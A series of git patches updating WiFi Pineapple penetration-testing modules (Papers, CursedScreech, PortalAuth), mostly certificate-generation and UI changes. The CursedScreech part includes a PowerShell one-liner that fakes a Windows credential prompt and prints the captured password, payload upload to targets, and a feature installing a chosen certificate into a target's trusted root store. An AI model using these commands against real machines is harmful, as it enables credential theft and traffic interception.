From a645065efc862348092c0162880760833d077aea Mon Sep 17 00:00:00 2001 From: sud0nick Date: Thu, 4 Jan 2018 19:36:00 -0500 Subject: [PATCH 01/12] Update 1.5 --- Papers/api/module.php | 85 +++++++++++++------- Papers/includes/changelog/Version 1.5 | 5 ++ Papers/includes/download/.gitignore | Bin 0 -> 6 bytes Papers/includes/help/build.help | 7 +- Papers/includes/logs/.gitignore | Bin 0 -> 6 bytes Papers/includes/scripts/buildCert.sh | 31 ++++--- Papers/includes/scripts/cfgHelper.py | 8 +- Papers/includes/scripts/copyKeys.sh | 4 +- Papers/includes/scripts/encryptKeys.sh | 4 +- Papers/includes/scripts/genSSHKeys.sh | 4 +- Papers/includes/scripts/readKeys.sh | 2 +- Papers/includes/scripts/ssl.cnf | 17 ++++ Papers/includes/scripts/testEncrypt.sh | 2 +- Papers/includes/scripts/unpackKeyArchive.sh | 4 +- Papers/includes/ssh/.gitignore | Bin 0 -> 6 bytes Papers/includes/ssl/.gitignore | Bin 0 -> 6 bytes Papers/js/module.js | 5 ++ Papers/module.html | 19 +++-- Papers/module.info | 2 +- 19 files changed, 132 insertions(+), 67 deletions(-) create mode 100644 Papers/includes/changelog/Version 1.5 create mode 100644 Papers/includes/download/.gitignore create mode 100644 Papers/includes/logs/.gitignore create mode 100644 Papers/includes/scripts/ssl.cnf create mode 100644 Papers/includes/ssh/.gitignore create mode 100644 Papers/includes/ssl/.gitignore diff --git a/Papers/api/module.php b/Papers/api/module.php index 2c5e1a1..914d8fd 100755 --- a/Papers/api/module.php +++ b/Papers/api/module.php @@ -10,11 +10,10 @@ define('__CHANGELOGS__', __INCLUDES__ . "changelog/"); define('__HELPFILES__', __INCLUDES__ . "help/"); define('__DOWNLOAD__', __INCLUDES__ . "download/"); define('__UPLOAD__', __INCLUDES__ . "upload/"); +define('__SSL_TEMPLATE__', __SCRIPTS__ . "ssl.cnf"); /* - Determine the type of file that has been uploaded and move it to the appropriate - directory. If it's a .zip it is an injection set and will be unpacked. If it is - an .exe it will be moved to __WINDL__, etc. + Import keys */ if (!empty($_FILES)) { $response = []; @@ -159,6 +158,7 @@ class Papers extends Module } private function buildCert($paramsObj) { $certInfo = array(); + $req = array(); $params = (array)$paramsObj; $keyName = (array_key_exists('keyName', $params)) ? $params['keyName'] : "newCert"; @@ -174,28 +174,21 @@ class Papers extends Module if (array_key_exists('bitSize', $params)) { $certInfo['-b'] = $params['bitSize']; } - if (array_key_exists('country', $params)) { - $certInfo['-c'] = $params['country']; - } - if (array_key_exists('state', $params)) { - $certInfo['-st'] = $params['state']; - } - if (array_key_exists('city', $params)) { - $certInfo['-l'] = $params['city']; - } - if (array_key_exists('organization', $params)) { - $certInfo['-o'] = $params['organization']; - } - if (array_key_exists('section', $params)) { - $certInfo['-ou'] = $params['section']; - } - if (array_key_exists('commonName', $params)) { - $certInfo['-cn'] = $params['commonName']; - } - if (array_key_exists('email', $params)) { - $certInfo['-email'] = $params['email']; + + $req[':C:'] = array_key_exists('country', $params) ? $params['country'] : "US"; + $req[':ST:'] = array_key_exists('state', $params) ? $params['state'] : "CA"; + $req[':LOC:'] = array_key_exists('city', $params) ? $params['city'] : "San Jose"; + $req[':ORG:'] = array_key_exists('organization', $params) ? $params['organization'] : "SecTrust"; + $req[':OU:'] = array_key_exists('section', $params) ? $params['section'] : "Certificate Issue"; + $req[':COM:'] = array_key_exists('commonName', $params) ? $params['commonName'] : $keyName; + + if (array_key_exists('sans', $params)) { + $req[':SAN:'] = $params['sans']; } + // Generate an OpenSSL config file + $certInfo['--config'] = $this->generateSSLConfig($keyName, $req); + // Build the argument string to pass to buildCert.sh foreach ($certInfo as $k => $v) { $argString .= $k . " \"" . $v . "\" "; @@ -210,6 +203,9 @@ class Papers extends Module $this->respond(false, "Failed to build key pair. Check the logs for details."); return; } + + // Delete the OpenSSL conf file + unlink($certInfo['--config']); if (array_key_exists('container', $params) || array_key_exists('encrypt', $params)) { $cryptInfo = array(); @@ -256,6 +252,39 @@ class Papers extends Module } $this->respond(true, "Keys created successfully!"); } + + /* + Generates an OpenSSL config file based on the passed in requirements ($req) + and returns the path to the file. + */ + private function generateSSLConfig($keyName, $req) { + $conf = file_get_contents(__SSL_TEMPLATE__); + + foreach ($req as $k => $v) { + $conf = str_replace($k, $v, $conf); + } + + // Add the common name as a SAN + $conf .= "\nDNS.1 = " . $req[':COM:']; + + // Add additional SANs if they were provided + if (isset($req[':SAN:'])) { + $x = 2; + foreach (explode(",", $req[':SAN:']) as $san) { + + // Skip the common name if it was included in the list since + // we already added it above + if ($san == $req[':COM:']) { continue; } + + $conf .= "\nDNS." . $x . " = " . $san; + $x++; + } + } + + $path = __SCRIPTS__ . hash('md5', $keyName . time()) . ".cnf"; + file_put_contents($path, $conf); + return $path; + } private function loadCertificates() { $certs = $this->getKeys(__SSLSTORE__); @@ -268,7 +297,7 @@ class Papers extends Module $keys = scandir($dir); $certs = array(); foreach ($keys as $key) { - if ($key == "." || $key == "..") {continue;} + if (substr($key, 0, 1) == ".") {continue;} $parts = explode(".", $key); $fname = $parts[0]; @@ -323,7 +352,7 @@ class Papers extends Module $contents = scandir($keyDir); $certs = array(); foreach ($contents as $cert) { - if ($cert == "." || $cert == "..") {continue;} + if (substr($cert, 0, 1) == ".") {continue;} $parts = explode(".", $cert); $fname = $parts[0]; $type = "." . $parts[1]; @@ -356,7 +385,7 @@ class Papers extends Module private function clearDownloadArchive() { foreach (scandir(__DOWNLOAD__) as $file) { - if ($file == "." || $file == "..") {continue;} + if (substr($file, 0, 1) == ".") {continue;} unlink(__DOWNLOAD__ . $file); } $files = glob(__DOWNLOAD__ . "*"); @@ -380,7 +409,7 @@ class Papers extends Module $msg = "Failed to delete the following files:"; $keyDir = ($keyType == "SSH") ? __SSHSTORE__ : __SSLSTORE__; foreach (scandir($keyDir) as $cert) { - if ($cert == "." || $cert == "..") {continue;} + if (substr($cert, 0, 1) == ".") {continue;} if (explode(".",$cert)[0] == $delCert) { if (!unlink($keyDir . $cert)) { $res = False; @@ -527,7 +556,7 @@ class Papers extends Module $dir = ($type == "error") ? __LOGS__ : __CHANGELOGS__; $contents = array(); foreach (scandir($dir) as $log) { - if ($log == "." || $log == "..") {continue;} + if (substr($log, 0, 1) == ".") {continue;} array_push($contents, $log); } $this->respond(true, null, $contents); diff --git a/Papers/includes/changelog/Version 1.5 b/Papers/includes/changelog/Version 1.5 new file mode 100644 index 0000000..c6eb0dd --- /dev/null +++ b/Papers/includes/changelog/Version 1.5 @@ -0,0 +1,5 @@ +January 3, 2018

+- Added option to include SANs in certificates
+- Changed key output from .pem to .key
+- Added default Certificate Info if none is included in the build request
+- Fixed a bug where the Certificate Info fields remained after switching to SSH key build mode
diff --git a/Papers/includes/download/.gitignore b/Papers/includes/download/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..49cc8ef0e116cef009fe0bd72473a964bbd07f9b GIT binary patch literal 6 NcmezWkC%aq0RRg=0u=xN literal 0 HcmV?d00001 diff --git a/Papers/includes/help/build.help b/Papers/includes/help/build.help index a4c6349..0af322b 100755 --- a/Papers/includes/help/build.help +++ b/Papers/includes/help/build.help @@ -20,7 +20,12 @@ This value indicates how long the certificate will be valid. A default value of Signature Algorithm
-SHA-1 is considered to be too weak these days, or it will be soon enough, so SHA-256 is selected by default. +SHA-1 has officially been broken so SHA-256 is selected by default. +

+ + +Subject Alternative Names (SAN)
+A comma-delimited list of SANs. These are alternative names that will be considered valid when verifying the certificate. For example if you're spoofing multiple sites during a pentest you'll want to add SANs (*.company1.com, *.company2.com, *.com).

diff --git a/Papers/includes/logs/.gitignore b/Papers/includes/logs/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..49cc8ef0e116cef009fe0bd72473a964bbd07f9b GIT binary patch literal 6 NcmezWkC%aq0RRg=0u=xN literal 0 HcmV?d00001 diff --git a/Papers/includes/scripts/buildCert.sh b/Papers/includes/scripts/buildCert.sh index f87d160..d06d7b8 100755 --- a/Papers/includes/scripts/buildCert.sh +++ b/Papers/includes/scripts/buildCert.sh @@ -23,7 +23,7 @@ help() { echo -e '\t-o,--orgnaization:\t\tOrganization'; echo -e '\t-ou,--organizationalUnit:\tOrganizational Unit'; echo -e '\t-cn,--commonName:\t\tCommon Name'; - echo -e '\t-email,--emailAddress:\t\tEmail Address'; + echo -e '\t--config:\t\t\tOpenSSL config file'; echo ''; } @@ -41,37 +41,37 @@ while [ "$#" -gt 0 ] do if [[ "$1" == "-d" || "$1" == "--days" ]]; then - DAYS="$2"; + DAYS="$2"; fi if [[ "$1" == "-b" || "$1" == "--bitSize" ]]; then - BITSIZE="$2"; + BITSIZE="$2"; fi if [[ "$1" == "-k" || "$1" == "--keyName" ]]; then - KEYNAME="$2"; + KEYNAME="$2"; fi if [[ "$1" == "-sa" || "$1" == "--sigAlgo" ]]; then - SIGALGO="$2"; + SIGALGO="$2"; fi if [[ "$1" == "-c" || "$1" == "--country" ]]; then COUNTRY="$2" fi if [[ "$1" == "-st" || "$1" == "--state" ]]; then - STATE="$2" + STATE="$2" fi if [[ "$1" == "-l" || "$1" == "--locality" ]]; then - LOCALITY="$2" + LOCALITY="$2" fi if [[ "$1" == "-o" || "$1" == "--organization" ]]; then - ORGANIZATION="$2" + ORGANIZATION="$2" fi if [[ "$1" == "-ou" || "$1" == "--organizationalUnit" ]]; then - OU="$2" + OU="$2" fi if [[ "$1" == "-cn" || "$1" == "--commonName" ]]; then - CN="$2" + CN="$2" fi -if [[ "$1" == "-email" || "$1" == "--emailAddress" ]]; then - EMAIL="$2" +if [[ "$1" == "--config" ]]; then + CONF="$2" fi shift @@ -104,14 +104,11 @@ fi if [ -n "$CN" ]; then subj="$subj/CN=$CN"; fi -if [ -n "$EMAIL" ]; then - subj="$subj/emailAddress=$EMAIL"; -fi if [ -n "$subj" ]; then - openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer -subj "$subj"; + openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -subj "$subj"; else - openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.pem -out $ssl_store$KEYNAME.cer; + openssl req -x509 -nodes -batch -days $DAYS -newkey rsa:$BITSIZE -$SIGALGO -keyout $ssl_store$KEYNAME.key -out $ssl_store$KEYNAME.cer -config $CONF; fi echo "Complete"; diff --git a/Papers/includes/scripts/cfgHelper.py b/Papers/includes/scripts/cfgHelper.py index 90d448a..274b00b 100755 --- a/Papers/includes/scripts/cfgHelper.py +++ b/Papers/includes/scripts/cfgHelper.py @@ -15,7 +15,7 @@ class ConfigHelper: def checkSSLCertsExist(self): - flags = [".pem", ".cer"] + flags = [".key", ".cer"] if os.path.isdir(self.ssl_dir): for file in os.listdir(self.ssl_dir): for flag in flags: @@ -64,7 +64,7 @@ class ConfigHelper: index = 0 cert = keyName + ".cer" - key = keyName + ".pem" + key = keyName + ".key" with open(self.nginxConf, "w") as out: for line in self.lines: @@ -84,7 +84,7 @@ class ConfigHelper: def replaceSSLConfig(self, newKey): cert = newKey + ".cer" - key = newKey + ".pem" + key = newKey + ".key" currentKey = self.currentSSLCerts[0].rsplit(".")[0] index = 0 @@ -94,7 +94,7 @@ class ConfigHelper: if (currentKey + ".cer") in line: line = "\t\tssl_certificate /etc/nginx/ssl/" + cert + ";\n" - if (currentKey + ".pem") in line: + if (currentKey + ".key") in line: line = "\t\tssl_certificate_key /etc/nginx/ssl/" + key + ";\n" index = index + 1 diff --git a/Papers/includes/scripts/copyKeys.sh b/Papers/includes/scripts/copyKeys.sh index 4b7f30d..b100a54 100755 --- a/Papers/includes/scripts/copyKeys.sh +++ b/Papers/includes/scripts/copyKeys.sh @@ -3,8 +3,8 @@ # Author: sud0nick # Date: Jan 2016 -if ! cp $1.pem /etc/nginx/ssl/; then - echo "Failed to copy $1.pem to /etc/nginx/ssl/"; +if ! cp $1.key /etc/nginx/ssl/; then + echo "Failed to copy $1.key to /etc/nginx/ssl/"; fi if ! cp $1.cer /etc/nginx/ssl/; then diff --git a/Papers/includes/scripts/encryptKeys.sh b/Papers/includes/scripts/encryptKeys.sh index bdb3f5c..918a945 100755 --- a/Papers/includes/scripts/encryptKeys.sh +++ b/Papers/includes/scripts/encryptKeys.sh @@ -90,7 +90,7 @@ done; # Generate a password on the private key if [ $ENCRYPT_KEYS = true ]; then - openssl rsa -$ALGO -in $ssl_store$KEY.pem -out $ssl_store$KEY.pem -passout pass:"$PASS"; + openssl rsa -$ALGO -in $ssl_store$KEY.key -out $ssl_store$KEY.key -passout pass:"$PASS"; fi # If a container type is present but not an algo or pass then use @@ -104,7 +104,7 @@ if [ -n "$CONTAINER" ]; then fi # Generate a container for the public and private keys - openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.pem -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS"; + openssl $CONTAINER -$CALGO -export -nodes -out $ssl_store$KEY.pfx -inkey $ssl_store$KEY.key -in $ssl_store$KEY.cer -passin pass:"$PASS" -passout pass:"$CPASS"; fi echo "Complete" diff --git a/Papers/includes/scripts/genSSHKeys.sh b/Papers/includes/scripts/genSSHKeys.sh index f3beef0..674d8fa 100755 --- a/Papers/includes/scripts/genSSHKeys.sh +++ b/Papers/includes/scripts/genSSHKeys.sh @@ -55,5 +55,5 @@ if [[ -z $KEYNAME ]]; then exit; fi -ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.pem -C $COMMENT -mv $SSH_STORE$KEYNAME.pem.pub $SSH_STORE$KEYNAME.pub +ssh-keygen -q -b $BITSIZE -t rsa -N "$PASSWORD" -f $SSH_STORE$KEYNAME.key -C $COMMENT +mv $SSH_STORE$KEYNAME.key.pub $SSH_STORE$KEYNAME.pub diff --git a/Papers/includes/scripts/readKeys.sh b/Papers/includes/scripts/readKeys.sh index cd70ec9..5ea9f77 100755 --- a/Papers/includes/scripts/readKeys.sh +++ b/Papers/includes/scripts/readKeys.sh @@ -11,7 +11,7 @@ while read p; do IN_SERVER_BLOCK=true; fi else - if [[ $p == *".cer;" || $p == *".pem;" ]]; then + if [[ $p == *".cer;" || $p == *".key;" ]]; then echo $p | cut -d '/' -f 5 | tr -d ';'; fi fi diff --git a/Papers/includes/scripts/ssl.cnf b/Papers/includes/scripts/ssl.cnf new file mode 100644 index 0000000..a8e4c6c --- /dev/null +++ b/Papers/includes/scripts/ssl.cnf @@ -0,0 +1,17 @@ +[req] +prompt = no +distinguished_name = req_distinguished_name +x509_extensions = req_ext + +[req_distinguished_name] +organizationName = :ORG: +organizationalUnitName = :OU: +localityName = :LOC: +stateOrProvinceName = :ST: +countryName = :C: +commonName = :COM: + +[req_ext] +subjectAltName = @alt_names + +[alt_names] \ No newline at end of file diff --git a/Papers/includes/scripts/testEncrypt.sh b/Papers/includes/scripts/testEncrypt.sh index 10821e1..bffb14f 100755 --- a/Papers/includes/scripts/testEncrypt.sh +++ b/Papers/includes/scripts/testEncrypt.sh @@ -23,7 +23,7 @@ while [ "$#" -gt 0 ] do if [[ "$1" == "-k" ]]; then - KEY="$2.pem" + KEY="$2.key" fi if [[ "$1" == "-d" ]]; then KEYDIR="$2" diff --git a/Papers/includes/scripts/unpackKeyArchive.sh b/Papers/includes/scripts/unpackKeyArchive.sh index a4c9240..d409d48 100755 --- a/Papers/includes/scripts/unpackKeyArchive.sh +++ b/Papers/includes/scripts/unpackKeyArchive.sh @@ -39,14 +39,14 @@ output=$(unzip $FILE.zip -d $DL_DIR); # keys are destined for the SSH directory if [[ $output == *".pub"* ]]; then mv $FILE.pub /pineapple/modules/Papers/includes/ssh/ - mv $FILE.pem /pineapple/modules/Papers/includes/ssh/ + mv $FILE.key /pineapple/modules/Papers/includes/ssh/ fi # If the archive contained a .cer these # keys are destined for the SSL directory if [[ $output == *".cer"* ]]; then mv $FILE.cer /pineapple/modules/Papers/includes/ssl/ - mv $FILE.pem /pineapple/modules/Papers/includes/ssl/ + mv $FILE.key /pineapple/modules/Papers/includes/ssl/ fi # Clear the download directory diff --git a/Papers/includes/ssh/.gitignore b/Papers/includes/ssh/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..49cc8ef0e116cef009fe0bd72473a964bbd07f9b GIT binary patch literal 6 NcmezWkC%aq0RRg=0u=xN literal 0 HcmV?d00001 diff --git a/Papers/includes/ssl/.gitignore b/Papers/includes/ssl/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..49cc8ef0e116cef009fe0bd72473a964bbd07f9b GIT binary patch literal 6 NcmezWkC%aq0RRg=0u=xN literal 0 HcmV?d00001 diff --git a/Papers/js/module.js b/Papers/js/module.js index d5d63fa..b93f7a7 100755 --- a/Papers/js/module.js +++ b/Papers/js/module.js @@ -5,6 +5,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.certBitSize = "2048"; $scope.certDaysValid = "365"; $scope.certSigAlgo = "sha256"; + $scope.certSANs = ""; $scope.certKeyName = ""; $scope.modifyCertInfo = false; $scope.certInfoCountry = ""; @@ -130,6 +131,9 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct if ($scope.certDaysValid != ''){ params['days'] = $scope.certDaysValid; } + if ($scope.certSANs != '') { + params['sans'] = $scope.certSANs; + } if ($scope.certEncryptKeysBool === true) { params['encrypt'] = ""; params['algo'] = $scope.certEncryptAlgo; @@ -168,6 +172,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.certDaysValid = "365"; $scope.certBitSize = "2048"; $scope.certSigAlgo = "sha256"; + $scope.certSANs = ""; $scope.certKeyName = ""; $scope.certInfoCountry = ""; $scope.certInfoState = ""; diff --git a/Papers/module.html b/Papers/module.html index d8f086f..2d0cade 100755 --- a/Papers/module.html +++ b/Papers/module.html @@ -209,43 +209,50 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
+
+ +
+ +
+
+
-
+
-
+
-
+
-
+
-
+
-
+
diff --git a/Papers/module.info b/Papers/module.info index 80e5b6f..11d547d 100755 --- a/Papers/module.info +++ b/Papers/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Papers", - "version": "1.4" + "version": "1.5" } \ No newline at end of file From 78163214eb2b521524b7610c9e5e74eeb41deddc Mon Sep 17 00:00:00 2001 From: sud0nick Date: Fri, 5 Jan 2018 23:07:00 -0500 Subject: [PATCH 02/12] Update 1.3 --- CursedScreech/api/module.php | 8 +-- CursedScreech/includes/changelog/Version 1.3 | 5 ++ CursedScreech/includes/forest/ezcmds | 1 + CursedScreech/includes/forest/target.py | 2 +- CursedScreech/includes/scripts/testEncrypt.sh | 2 +- CursedScreech/js/module.js | 55 +++++++++++++++++-- CursedScreech/module.html | 19 ++++++- CursedScreech/module.info | 4 +- 8 files changed, 81 insertions(+), 15 deletions(-) create mode 100644 CursedScreech/includes/changelog/Version 1.3 diff --git a/CursedScreech/api/module.php b/CursedScreech/api/module.php index 8791a25..de21987 100755 --- a/CursedScreech/api/module.php +++ b/CursedScreech/api/module.php @@ -422,7 +422,7 @@ class CursedScreech extends Module { $files = scandir(__API_DL__); $success = true; foreach ($files as $file) { - if ($file == "." || $file == "..") {continue;} + if (substr($file, 0, 1) == ".") {continue;} if (!unlink(__API_DL__ . $file)) { $success = false; } @@ -449,7 +449,7 @@ class CursedScreech extends Module { $files = []; foreach (scandir(__PAYLOADS__) as $file) { - if ($file == "." || $file == "..") {continue;} + if (substr($file, 0, 1) == ".") {continue;} $files[$file] = __PAYLOADS__; } $this->respond(true, null, $files); @@ -521,7 +521,7 @@ class CursedScreech extends Module { $dir = ($type == "error") ? __LOGS__ : (($type == "targets") ? __TARGETLOGS__ : __CHANGELOGS__); $contents = array(); foreach (scandir($dir) as $log) { - if ($log == "." || $log == "..") {continue;} + if (substr($log, 0, 1) == ".") {continue;} array_push($contents, $log); } $this->respond(true, null, $contents); @@ -575,7 +575,7 @@ class CursedScreech extends Module { $keys = scandir($dir); $certs = array(); foreach ($keys as $key) { - if ($key == "." || $key == "..") {continue;} + if (substr($key, 0, 1) == ".") {continue;} $parts = explode(".", $key); $fname = $parts[0]; diff --git a/CursedScreech/includes/changelog/Version 1.3 b/CursedScreech/includes/changelog/Version 1.3 new file mode 100644 index 0000000..9d5c0de --- /dev/null +++ b/CursedScreech/includes/changelog/Version 1.3 @@ -0,0 +1,5 @@ +January 5, 2018 +

+ - Modified hook into Papers to work with the latest release
+ - Added ability to install a certificate on a target Windows machine
+ \ No newline at end of file diff --git a/CursedScreech/includes/forest/ezcmds b/CursedScreech/includes/forest/ezcmds index 358600a..11b2bf9 100755 --- a/CursedScreech/includes/forest/ezcmds +++ b/CursedScreech/includes/forest/ezcmds @@ -1,4 +1,5 @@ Send File:C:\Temp\ +Install Cert:powershell "Import-Certificate -FilePath $cert -CertStoreLocation $store" Get PS Version:powershell "$PSVersionTable" Get SysInfo:powershell "gwmi Win32_QuickFixEngineering | Select Description, HotFixID, InstalledBy, InstalledOn; gwmi Win32_OperatingSystem | Select Caption, ServicePackMajorVersion, OSArchitecture, BootDevice, BuildNumber, CSName, CSDVersion, NumberOfUsers, Version | FL" Windows PSv3+ Phish:powershell "Get-Credential -User $(whoami).Split('\')[1] -Message 'Windows requires your credentials to continue' | % {Write-Host $_.UserName '->' $_.GetNetworkCredential().password}" diff --git a/CursedScreech/includes/forest/target.py b/CursedScreech/includes/forest/target.py index e79eb7e..07900ba 100755 --- a/CursedScreech/includes/forest/target.py +++ b/CursedScreech/includes/forest/target.py @@ -14,7 +14,7 @@ with open(settingsFile, "r") as sFile: if params[0] == "activity_log": activity_log = params[1] elif params[0] == "kuro_key": - priv_key = params[1] + ".pem" + priv_key = params[1] + ".key" pub_cer = params[1] + ".cer" elif params[0] == "target_key": client_key = params[1] + ".cer" diff --git a/CursedScreech/includes/scripts/testEncrypt.sh b/CursedScreech/includes/scripts/testEncrypt.sh index 10821e1..bffb14f 100755 --- a/CursedScreech/includes/scripts/testEncrypt.sh +++ b/CursedScreech/includes/scripts/testEncrypt.sh @@ -23,7 +23,7 @@ while [ "$#" -gt 0 ] do if [[ "$1" == "-k" ]]; then - KEY="$2.pem" + KEY="$2.key" fi if [[ "$1" == "-d" ]]; then KEYDIR="$2" diff --git a/CursedScreech/js/module.js b/CursedScreech/js/module.js index 0b7cd89..2349b2c 100755 --- a/CursedScreech/js/module.js +++ b/CursedScreech/js/module.js @@ -51,6 +51,22 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $scope.newCmdName = ""; $scope.newCmdCommand = ""; $scope.checkAllTargets = false; + $scope.target_installKey = ""; + $scope.certStores = [ + {"ID":"Root", "Name":"Trusted Root Certification Authorities"}, + {"ID":"My", "Name":"Personal"}, + {"ID":"Remote Desktop", "Name":"Remote Desktop"}, + {"ID":"Trust", "Name":"Enterprise Trust"}, + {"ID":"CA", "Name":"Intermediate Certification Authorities"}, + {"ID":"SmartCardRoot", "Name":"Smart Card Trusted Roots"}, + {"ID":"TrustedPublisher", "Name":"Trusted Publishers"}, + {"ID":"TrustedPeople", "Name":"Trusted People"}, + {"ID":"ClientAuthIssuer", "Name":"Client Authentication Issuers"}, + {"ID":"eSIM Certification Authorities", "Name":"eSIM Certification Authorities"}, + {"ID":"Windows Live ID Token Issuer", "Name":"Windows Live ID Token Issuer"}, + {"ID":"Homegroup Machine Certificates", "Name":"Homegroup Machine Certificates"} + ]; + $scope.selectedCertStore = $scope.certStores[0]; // Panes $scope.showTargetPane = true; @@ -62,6 +78,7 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $scope.uploading = false; $scope.selectedPayload = ""; $scope.showPayloadSelect = false; + $scope.showCertSelect = false; // Interval vars $scope.stop; @@ -313,6 +330,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter if ($scope.showPayloadSelect) { // ex: "sendfile;/pineapple/modules/CursedScreech/includes/payloads/NetCli.exe;C:\Temp\" cmd = "sendfile;" + $scope.payloadDir + $scope.selectedPayload.fileName + ";" + $scope.targetCommand; + } else if ($scope.showCertSelect) { + cmd = "sendfile;" + $scope.target_installKey + ";" + getEZCmd("Send File"); } else { cmd = $scope.targetCommand; } @@ -321,7 +340,23 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter action: 'sendCommand', command: cmd, targets: checkedTargets - },function(response){}); + },function(response){ + + // Make a second API call to install the certificate + if ($scope.showCertSelect) { + + cmd = $scope.targetCommand.replace("$cert", getEZCmd("Send File") + $scope.target_installKey.split("/").slice(-1)[0]).replace("$store", "'Cert:\\LocalMachine\\" + $scope.selectedCertStore.ID + "'") + + $api.request({ + module: 'CursedScreech', + action: 'sendCommand', + command: cmd, + targets: checkedTargets + },function(response){}); + + } + + }); }); function getTargetIndex(sock){ @@ -458,23 +493,27 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter }); $scope.ezCommandChange = (function(){ + $scope.showPayloadSelect = false; + $scope.showCertSelect = false; if ($scope.selectedCmd === null) { $scope.targetCommand = ""; - $scope.showPayloadSelect = false; return; } for (key in $scope.ezcmds) { if ($scope.ezcmds[key] == $scope.selectedCmd) { if (key == "Send File") { $scope.showPayloadSelect = true; - } else { - $scope.showPayloadSelect = false; + } else if (key == "Install Cert") { + $scope.showCertSelect = true; } } } $scope.targetCommand = $scope.selectedCmd; }); + function getEZCmd(key) { + return $scope.ezcmds[key]; + } /* ============================================= */ /* BEGIN KEY FUNCTIONS */ @@ -484,9 +523,15 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter if (type == "kuro") { $scope.selectKuroKey = true; $scope.selectTargetKey = false; + $scope.selectInstallKey = false; } else if (type == "target") { $scope.selectTargetKey = true; $scope.selectKuroKey = false; + $scope.selectInstallKey = false; + } else if (type == "install") { + $scope.selectInstallKey = true; + $scope.selectKuroKey = false; + $scope.selectTargetKey = false; } $api.request({ module: 'CursedScreech', @@ -509,6 +554,8 @@ registerController('CursedScreechController', ['$api', '$scope', '$sce', '$inter $scope.settings_kuroKey = keyPath; } else if ($scope.selectTargetKey == true) { $scope.settings_targetKey = keyPath; + } else if ($scope.selectInstallKey == true) { + $scope.target_installKey = keyPath + ".cer"; } }); diff --git a/CursedScreech/module.html b/CursedScreech/module.html index d39ea37..783e293 100755 --- a/CursedScreech/module.html +++ b/CursedScreech/module.html @@ -234,14 +234,27 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
-
+

Remote upload path

-
+
+
+
+ +
+
+ +
+
+

Certificate Store

+ +
+
@@ -200,8 +208,8 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
-
- @@ -269,15 +277,12 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
- - - -
@@ -298,15 +303,12 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
- - - -
@@ -323,6 +325,62 @@ $(document).on('mouseenter', '.papers_hoverDanger', function() {
+
@@ -397,7 +410,7 @@ $(document).on('mouseenter', '.cs_hoverDanger', function() {
- + diff --git a/CursedScreech/module.info b/CursedScreech/module.info index 7c83c87..54cdc2a 100755 --- a/CursedScreech/module.info +++ b/CursedScreech/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "CursedScreech", - "version": "1.2" -} \ No newline at end of file + "version": "1.3" +} From 6653acdbbc747cac492087d9f700ca4373b66c6a Mon Sep 17 00:00:00 2001 From: sud0nick Date: Sat, 6 Jan 2018 13:17:51 -0500 Subject: [PATCH 03/12] Fixed race condition in latest firmware --- Papers/js/module.js | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Papers/js/module.js b/Papers/js/module.js index b93f7a7..3d8d094 100755 --- a/Papers/js/module.js +++ b/Papers/js/module.js @@ -256,7 +256,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct params: {cert,type} },function(response) { $scope.showCertThrobber = false; - if (response.success === true) { + if (response.error === "HTTP Error") { // Redirect if key type is TLS/SSL if (type == "TLS/SSL") { $scope.redirect("https"); @@ -302,7 +302,7 @@ registerController('PapersController', ['$api', '$scope', '$sce', '$http', funct $scope.showRemoveSSLButton = true; $scope.refresh(); - if (response.success === true) { + if (response.error === "HTTP Error") { $scope.redirect("http"); } else { } From 84b4e75af91c95a4407b194d2f447dcc1518c239 Mon Sep 17 00:00:00 2001 From: sud0nick Date: Sat, 6 Jan 2018 13:44:58 -0500 Subject: [PATCH 04/12] Fixed upload bug introduced by new AngularJS in latest firmware --- PortalAuth/js/module.js | 2 +- PortalAuth/module.info | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/PortalAuth/js/module.js b/PortalAuth/js/module.js index cd997a5..482880a 100755 --- a/PortalAuth/js/module.js +++ b/PortalAuth/js/module.js @@ -640,7 +640,7 @@ registerController('PortalAuthController', ['$api', '$scope', '$sce', '$interval $http.post("/modules/PortalAuth/api/module.php", fd, { transformRequest: angular.identity, headers: {'Content-Type': undefined} - }).success(function(response) { + }).then(function(response) { for (var key in response) { if (response.hasOwnProperty(key)) { if (response.key == "Failed") { diff --git a/PortalAuth/module.info b/PortalAuth/module.info index 9161697..66cf489 100755 --- a/PortalAuth/module.info +++ b/PortalAuth/module.info @@ -6,5 +6,5 @@ "tetra" ], "title": "Portal Auth", - "version": "1.4" + "version": "1.5" } \ No newline at end of file From 0ff56091b1c71f680b53aea2bce2395fd5345007 Mon Sep 17 00:00:00 2001 From: sud0nick Date: Sun, 7 Jan 2018 23:16:42 -0500 Subject: [PATCH 05/12] Removed 